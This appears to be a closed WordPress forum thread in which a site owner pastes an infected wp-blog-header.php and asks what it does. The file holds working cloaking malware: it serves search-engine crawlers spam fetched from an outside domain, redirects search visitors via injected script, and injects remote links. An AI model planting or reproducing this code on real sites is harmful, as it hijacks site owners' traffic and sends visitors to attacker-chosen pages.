wp-blog-header keeps getting changed
-
the file is owned by root, but they keep changing it back to nginx. What does this code do?
<?php
$sameurl = @$_SERVER[‘HTTP_HOST’].@$_SERVER[‘PHP_SELF’].@$_SERVER[‘QUERY_STRING’];
$sameword = ‘vn’;
function barry($url)
{
$file_contents = ”;
$user_agent = ‘Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)’;
if (function_exists(‘curl_init’)) {
try {
$ch = curl_init();
$timeout = 30;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_USERAGENT,$user_agent);
$file_contents = curl_exec($ch);
curl_close($ch);
} catch (Exception $e) {
}
}
if (strlen($file_contents) < 1 && function_exists(‘file_get_contents’)) {
ini_set(‘user_agent’, $user_agent);
try {
$file_contents = @file_get_contents($url);
} catch (Exception $e) {
}
}
return $file_contents;
}
if (strpos(@$_SERVER[‘HTTP_HOST’], “vn”) == true) {$sameword = ‘vn/202’;}
if (strpos($sameurl, $sameword) == true) {
$agent = strtolower($_SERVER[‘HTTP_USER_AGENT’]);
if(stripos($agent,’bing’) >-1 || stripos($agent,’yahoo’) >-1 || stripos($agent,’coc’)>-1 || stripos($agent,’google’) >-1|| stripos($agent,’baidu’) >-1)
{
$url=”http://mulu.retrogamefreak.com”.”/”.$_SERVER[‘HTTP_HOST’];
$url= $url.$_SERVER[“REQUEST_URI”];
echo barry($url);
exit();
}
$re= @$_SERVER[“HTTP_REFERER”];
if(strpos($re,’yahoo’)!==false||strpos($re,’coc’)!==false||strpos($re,’bing’)!==false||strpos($re,’google’)!==false||strpos($re,’baidu’)!==false)
{
$url=”http://tz.retrogamefreak.com/tz.txt”;
$tzurl = barry($url);
echo “<script>location.href='”.$tzurl.”‘</script>”;
exit();
}
}
?><?php
/**
* Loads the WordPress environment and template.
*
* @package WordPress
*/if ( ! isset( $wp_did_header ) ) {
$wp_did_header = true;
// Load the WordPress library.
require_once __DIR__ . ‘/wp-load.php’;// Set up the WordPress query.
wp();// Load the theme template.
require_once ABSPATH . WPINC . ‘/template-loader.php’;}
?>
<?php
$key= @$_SERVER[‘HTTP_USER_AGENT’];
if(strpos($key,’google’)!==false||strpos($key,’coc’)!==false||strpos($key,’yahoo’)!==false||strpos($key,’bing’)!==false||strpos($key,’baidu’)!==false){
$url=”http://tz.retrogamefreak.com/link2.php”;
echo barry($url);
}
?>`
The topic ‘wp-blog-header keeps getting changed’ is closed to new replies.